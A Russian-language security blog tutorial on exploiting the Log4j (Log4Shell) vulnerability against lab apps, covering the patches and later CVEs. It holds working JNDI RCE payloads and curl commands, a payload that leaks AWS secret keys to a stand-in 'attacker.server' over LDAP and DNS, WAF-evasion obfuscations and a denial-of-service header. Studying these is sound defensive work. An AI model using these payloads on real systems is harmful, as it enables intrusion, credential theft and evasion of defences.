В предыдущей статье мы говорили о мерах защиты от уязвимости Log4j. Легкость эксплуатации Log4j породила настоящий бум в сети, всевозможные логи начали пухнуть от наличия в них записей содержащих заветные ${jndi:ldap://}. Сегодня продолжим изучать эту интересную и опасную, с точки зрения последствий, уязвимость.
Еще по теме: Интересные уязвимости PostgreSQL
Эксплуатация уязвимости Log4j
Давайте на деле разберемся насколько опасна данная уязвимость.
Статья в образовательных целях и предназначается для пентестеров (белых хакеров). Взлом и несанкционированный доступ уголовно наказуем. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
RCE через Log4j
Чтобы выполнить произвольный код, необходимо поднять сервер, который передаст полезную нагрузку на атакуемую машину. При получении пейлоада Java выполнит десериализацию и произойдет вызов указанных классов, что в итоге приведет к запуску произвольной команды.
Для автоматизации эксплуатации такого вида атак написано множество утилит — ysoserial, marshalsec, rogue-jndi.
Возьмем rogue-jndi для разнообразия.
1 |
git clone https://github.com/veracode-research/rogue-jndi.git |
Компилируем утилиту с помощью maven.
1 |
mvn package |
И запускаем ее, в качестве аргумента command указываем команду, которую хотим выполнить.
1 |
java -jar target/RogueJndi-1.1.jar --command "calc.exe" |
В составе идет несколько пейлоадов, нас интересует RemoteReference. Это классическая атака через JNDI, которая ведет к RCE через удаленную загрузку классов.
Указываем адрес в теле нашего пейлоада.
1 |
${jndi:ldap://127.0.0.1:1389/o=reference} |
Если вы не увидели калькулятор, то поздравляю, у вас новая Java. Дело в том, что в версии выше 8u191 по дефолту запрещена удаленная загрузка классов. Однако, это не мешает эксплуатировать уязвимость, используя локальные цепочки гаджетов. Java — язык библиотек и фреймворков и редко встречаются ситуации где используется чистый код на Java.
Эксплуатация Log4j в Spring Boot RCE на Java
Рассмотрим популярный фреймворк Spring. Уже готовое уязвимое приложение можно взять из репозитория log4shell-vulnerable-app.
Запускаем его при помощи gradle.
1 2 3 |
git clone https://github.com/christophetd/log4shell-vulnerable-app.git cd log4shell-vulnerable-app gradlew bootRun |
В качестве пейлоада выбираем Tomcat. Для эксплуатации использует небезопасный reflection в классе:
1 |
org.apache.naming.factory.BeanFactory |
Этот класс из Tomcat содержит логику для создания Beans с помощью рефлексии. Если вы хотите почитать подробнее об этой технике, то добро пожаловать в статью Михаила Степанкина (Michael Stepankin) Exploiting JNDI Injections in Java.
В результате получается такой пейлоад:
1 |
${jndi:ldap://127.0.0.1:1389/o=tomcat} |
Отправляем его в качестве заголовка X-Api-Version.
1 |
curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o=tomcat}' http://127.0.0.1:8080/ |
И вуаля, наблюдаем калькулятор.

Другие способы эксплуатации Log4j
Выполнение кода — это конечно замечательно, но уязвимость и без этого сулит много проблем.
Давайте вспомним какое количество резолверов, помимо jndi, были объявлены в variableResolver:
1 2 3 4 5 6 7 8 9 10 11 12 |
"date" -> {DateLookup@5805} "java" -> {JavaLookup@5807} "marker" -> {MarkerLookup@5809} "ctx" -> {ContextMapLookup@5811} "lower" -> {LowerLookup@5813} "upper" -> {UpperLookup@5815} "jndi" -> {JndiLookup@5817} "main" -> {MapLookup@5819} "jvmrunargs" -> {JmxRuntimeInputArgumentsLookup@5821} "sys" -> {SystemPropertiesLookup@5823} "env" -> {EnvironmentLookup@5825} "log4j" -> {Log4jLookup@5827} |
Все их можно использовать таким же образом. Рассмотрим, например, резолвер env. Он позволяет получать доступ к переменным окружения.
Попробуем что‑нибудь безобидное, например ${env:OS}.
1 |
gradlew run --args='${env:OS}' |
Это хорошо, но как нам получить значение этой переменной удаленно?
Давайте вернемся к методу substitute. Разберем переменную substitutionInVariablesEnabled.
1 2 3 4 5 6 |
org/apache/logging/log4j/core/lookup/StrSubstitutor.java private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List priorVariables) { ... final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables(); |
По дефолту она установлена в true — значит, что конструкции ${} могут сами быть динамическими, то есть содержать другие переменные.
1 2 3 4 5 6 7 8 9 |
org/apache/logging/log4j/core/lookup/StrSubstitutor.java public boolean isEnableSubstitutionInVariables() { return enableSubstitutionInVariables; } org/apache/logging/log4j/core/lookup/StrSubstitutor.java /** * The flag whether substitution in variable names is enabled. */ private boolean enableSubstitutionInVariables = true; |
Таким образом при парсинге проверяется истинность substitutionInVariablesEnabled и если значение истинно, находится начало еще одной конструкции ${. Ее позиция записывается, а значение nestedVarCount инкрементируется.
1 2 3 4 5 6 7 8 9 10 |
org/apache/logging/log4j/core/lookup/StrSubstitutor.java private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List priorVariables) { ... final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables(); ... while (pos < bufEnd) { if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) { |
1 2 3 4 |
org/apache/logging/log4j/core/lookup/StrSubstitutor.java nestedVarCount++; pos += endMatchLen; continue; |
После того как вся строка обработана, происходит рекурсивный вызов метода substitute начиная с самой глубоко вложенной переменной.
То есть преобразование конструкции вида ${${${var}}} начинается с переменной ${var}. Такое поведение открывает для атакующего просто колоссальное количество различных векторов для атаки.
С этими знаниями возвращаемся к нашему вопросу: как получить значение переменной удаленно?
Первое, что приходит в голову, — это просто передать данные в URI или в качестве параметров на наш сервер. Давайте попробуем это сделать. Для получения нужной информации необходимо передать валидное LDAP-приветствие клиенту, в качестве которого выступает уязвимая машина.
Сэмулируем его, просто передав нужную байт‑строку через echo:
1 |
echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 389 | xxd |
В пейлоад добавим нужную переменную окружения.
1 |
gradlew run --args='${jndi:ldap://127.0.0.1/${env:OS}}' |
Простор для творчества здесь колоссальный. Например, можно передать ключи доступа от AWS.
1 |
${jndi:ldap://attacker.server/${env:AWS_SECRET_ACCESS_KEY}} |
Даже если на удаленной машине запрещены TCP-коннекты, чаще всего DNS запросы ходят нормально. В таком случае пейлоад приобретает следующий вид.
1 |
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.server/any} |
Манипуляции с пейлоадом и обходы WAF
Теперь стоит сказать пару слов о различных техниках обходах WAF.
В первую очередь обратим внимание на обработку префикса для определения резолвера.
1 2 3 4 |
org/apache/logging/log4j/core/lookup/Interpolator.java public String lookup(final LogEvent event, String var) { ... final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); |
При выполнении функции toLowerCase все символы, проходящие через нее, приводятся к указанным региональным настройкам (Locale.US). Это позволяет брать похожие литеры из других алфавитных систем и они будут преобразованы в максимально подходящие английские. Техника называется Best-fit Mappings.
1 |
${ĴņđĨ:ldap://127.0.0.1/${env:OS}} |
Такой вектор тоже отлично отрабатывает.

Помимо этого, возможность использовать вложенные переменные открывает широкий простор для создания уникальных пейлоадов. Посмотрим на резолверы lower и upper.
1 2 |
"lower" -> {LowerLookup@5813} "upper" -> {UpperLookup@5815} |
Как вы поняли из названия, они преобразуют текст в нижний и верхний регистр соответственно. Можно указывать один или несколько символов для трансформации. Используя эти резолверы, полезную нагрузку можно трансформировать в следующий вид:
1 |
${${upper:j}${lower:n}${upper:d}i:${lower:l}d${lower:ap}://127.0.0.1/${env:OS}} |
Только не используйте верхний регистр в схеме ( ldap), так как она регистрозависима и LDAP://127.0.0.1 уже не приведет коннект к вашему серверу.
Теперь еще раз вернемся к проверке значения переменной в методе substitute.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
org/apache/logging/log4j/core/lookup/StrSubstitutor.java if (valueDelimiterMatcher != null) { final char [] varNameExprChars = varNameExpr.toCharArray(); int valueDelimiterMatchLen = 0; for (int i = 0; i < varNameExprChars.length; i++) { ... if (valueEscapeDelimiterMatcher != null) { int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i); if (matchLen != 0) { ... } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) { varName = varNameExpr.substring(0, i); varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen); break; } } else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) { varName = varNameExpr.substring(0, i); varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen); break; } } } |
Здесь, конструкция valueDelimiterMatcher.isMatch проверяет содержимое переменной на наличие двоеточия и минуса. Они используются для того, чтобы указать дефолтное значение, если резолвер вернет false. Например, переменная окружения, которую мы запрашиваем, не существует.
Передача переменной с дефолтным значением имеет следующий формат.
1 |
${резолвер:переменная:-дефолтное_значение} |
Мой пример с несуществующей переменной окружения будет выглядеть как‑то так:
1 |
${env:ANYTHING:-hello} |
Причем количество двоеточий во втором случае может быть любым.

Также можно совсем не указывать резолвер. Тогда метод resolveVariable попробует применить резолвер по умолчанию — MapLookup. И если он вернет null, то будет использоваться дефолтное значение, которое мы передали.
1 |
${::-hello} |
1 2 3 4 5 6 |
org/apache/logging/log4j/core/lookup/StrSubstitutor.java // resolve the variable String varValue = resolveVariable(event, varName, buf, startPos, endPos); if (varValue == null) { varValue = varDefaultValue; } |
Ровно такое же поведение будет при несуществующем резолвере.

Тогда атакующий пейлоад может приобретать совсем безумный вид.
1 |
${${:::::-j}${lower:N}${env:OLOLOLO:-d}i:${::-l}${:ANYANY:-d}${ASDF:DSFA:-a}p://127.0.0.1/${env:OS}} |
И такое тоже успешно отрабатывает.

Блокировать что‑то подобное WAF-системами, которые основаны на регулярках, сам понимаете, занятие не из приятных.
Патчи для уязвимости Log4j
Пришло время поговорить о заплатках для уязвимости.
Первое, что рекомендовали, — это установить флаг formatMsgNoLookups или переменную окружения LOG4J_FORMAT_MSG_NO_LOOKUPS в true, чтобы переменные в логируемых событиях не обрабатывались. Такое решение подходит для Log4j версий 2.10 и выше.

Это действительно помогает, только вот далеко не всегда. Причина в том, что, в Log4j все еще существуют места в коде, где может происходить обработка переменных в логируемых событиях.
Например, если приложение использует конструкции вида Logger.printf(level, "%s", userInput) или свой кастомный класс для логирования, где не реализуется StringBuilderFormattable.

Могут существовать и другие векторы атак, так что использовать этот метод фикса не рекомендуется.
Первый официальный патч появился в версии 2.15. В ней возможность использовать переменные в сообщениях по дефолту отключили, но в конфигах это по‑прежнему работает. Для JNDI-коннектов был введен механизм белых списков, который по умолчанию разрешает только localhost.
Если используется кастомный шаблон логирования, где пользовательские данные каким‑то образом попадают в Thread Context Map (MDC), то эксплуатация уязвимости все еще возможна.
Рассмотрим на примере. Возьмем форк репозитория log4shell-vulnerable-app Кая Миндермана (Kai Mindermann).
1 2 |
git clone https://github.com/kmindi/log4shell-vulnerable-app.git log4shell-vulnerable-app-2 cd log4shell-vulnerable-app-2 |
Раскомментируйте строку в build.gradle, чтобы использовать новую версию Log4j.
1 2 3 4 5 6 7 8 |
build.gradle configurations.all { resolutionStrategy.eachDependency { DependencyResolveDetails details -> if (details.requested.group == 'org.apache.logging.log4j') { details.useVersion '2.15.0' } } } |
В этом форке немного изменен шаблон логирования.
1 2 |
src/main/resources/log4j2.properties appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n |
И метод логирования пользовательских данных.
1 2 3 4 5 6 7 8 9 10 11 12 |
src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Add user controlled input to threadcontext; // Used in log via ${ctx:apiversion} ThreadContext.put("apiversion", apiVersion); logger.info("Received a request for API version "); return "Hello, world!"; } gradlew bootRun curl -H 'X-Api-Version: ${env:OS}' 127.0.0.1:8080 curl -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/o=tomcat}' 127.0.0.1:8080 |
Теперь значение из заголовка X-Api-Version передается в переменную apiversion через ThreadContext. В таком случае эксплуатация все так же возможна. Единственное, что останавливает от полноценного RCE, — это ограничение коннектов через JNDI только к локальным адресам. Но своеобразный LCE (Local Code Execution :-)) все еще можно применять, например, как вектор для поднятия привилегий.

Эта возможность эксплуатации получила отдельный идентификатор CVE-2021-45046.
После того, как разработчики поняли, что патч получился не совсем удачным, вышла очередная версия Log4j — 2.16. Казалось бы, на этот раз все должно быть исправлено как нужно.
Но пристальное внимание со стороны исследователей быстро дало свои плоды — нашелся способ вызвать отказ в обслуживании. Эта уязвимость снова получает свой идентификатор CVE-2021-45105. Эксплуатация снова возможна только когда используется нестандартные шаблоны логирования.
Обратимся все к тому же форку log4shell-vulnerable-app. Здесь шаблон уязвим и для этой атаки.
1 2 |
src/main/resources/log4j2.properties appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n |
Если атакующий передаст ${ctx:apiversion}, это вызовет бесконечные попытки преобразования переменной и в работе приложения произойдет исключение.
Обновляем версию Log4j в конфиге и тестируем уязвимость.
1 2 3 4 5 6 7 8 9 |
build.gradle configurations.all { resolutionStrategy.eachDependency { DependencyResolveDetails details -> if (details.requested.group == 'org.apache.logging.log4j') { details.useVersion '2.16.0' } } } curl -H 'X-Api-Version: ${ctx:apiversion}' 127.0.0.1:8080 |
В очередном билде — версии 2.17 — основные проблемы, кажется, закончились. Была обнаружена еще одна уязвимость с идентификатором CVE-2021-44832, но условия для ее успешной эксплуатации довольно суровы.
Атакующему нужен доступ для изменения конфигураций логирования. В таком случае он может сгенерировать конфигурацию, где можно выполнить произвольный код через JDBC Appender с источником данных, ссылающимся на JNDI URI. Об этом я, пожалуй, расскажу как‑нибудь в другой раз, а вы скорее обновляйтесь на самую последнюю версию log4j 2.17.1.
Заключение
Log4Shell по праву стал самой горячей уязвимостью уходящего года. Думаю, что мы еще долгое время будем видеть на просторах багбаунти репорты где эта проблема всплывает в самых неожиданных местах.
Удивительно, как баг с таким простым вектором эксплуатации оставался в тени широкой общественности целых восемь лет, ведь первая уязвимая версия Log4j 2.0 beta9 была выпущена аж в конце сентября 2013 года.
Для нас это очередное напоминание о том, что иногда достаточно лишь пристальнее приглядеться к коду, который у всех на виду, чтобы обнаружить нечто интересное.
Еще по теме: